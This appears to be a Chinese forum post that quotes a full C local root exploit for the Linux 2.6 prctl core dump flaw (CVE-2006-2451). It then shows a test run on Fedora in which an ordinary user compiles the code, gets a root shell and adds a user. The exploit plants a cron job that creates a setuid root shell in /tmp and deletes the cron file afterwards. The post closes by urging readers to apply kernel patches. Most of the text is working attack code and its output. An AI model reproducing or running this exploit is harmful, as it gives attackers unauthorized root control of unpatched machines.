QUOTE:
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt roman@rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("
Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("
Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("
Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -p");
}
我作了一下测试:
QUOTE:
[fred@Fedora ~]$ uname -a
Linux fedora 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[fred@fedora ~]$ id
uid=500(fred) gid=500(fred) groups=500(fred)
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel.c vmware
[fred@fedora ~]$ gcc -o rs_prctl_kernel rs_prctl_kernel.c
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel rs_prctl_kernel.c vmware
[fred@fedora ~]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]
Creating Cron entry
Sleeping for aprox. one minute (** please wait **)
Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1# whoami
root
sh-3.1# id
uid=500(fred) gid=500(fred) euid=0(root) groups=500(fred)
sh-3.1# /usr/sbin/useradd test
sh-3.1# exit
exit
[fred@fedora ~]$
可见危害性不小，普通用户可得到root权限,各位朋友还是打一下最新的内核补丁吧~~
